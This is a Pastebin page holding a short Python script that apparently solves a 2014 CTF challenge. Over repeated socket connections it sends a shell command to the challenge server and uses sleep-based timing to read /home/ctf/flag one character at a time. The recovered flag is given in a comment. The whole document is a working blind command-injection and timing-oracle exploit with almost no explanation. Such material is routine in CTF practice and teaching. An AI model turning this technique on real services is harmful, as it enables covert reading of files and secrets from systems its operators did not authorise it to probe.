SHARE
TWEET

Untitled

a guest Dec 1st, 2014 449 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import socket
  3. TCP_IP = 'shmap.9447.plumbing'
  4. TCP_PORT = 9447
  5. BUFFER_SIZE = 1024
  6.  
  7. buf="if [ `head -c %s /home/ctf/flag` = '%s' ] ; then sleep 3 ; else sleep 1 ; fi\n"
  8. #   9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa}
  9. pw=""
  10. for i in range(136,250):
  11.         for j in range(65,127):
  12.                 tmp=pw+chr(j)
  13.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  14.                 s.connect((TCP_IP, TCP_PORT))
  15.                 ret=s.recv(1024)
  16.                 s.send(buf % (str(i),tmp))
  17.                 ret=s.recv(1024)
  18.                 print str(i)+" "+chr(j)+" "+tmp+" "
  19.                 if 'Took 3 seconds!' in ret:
  20.                         pw+=chr(j)
  21.                         print "OK "+pw
  22.                         s.close()
  23.                         break  
  24.                 s.close()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top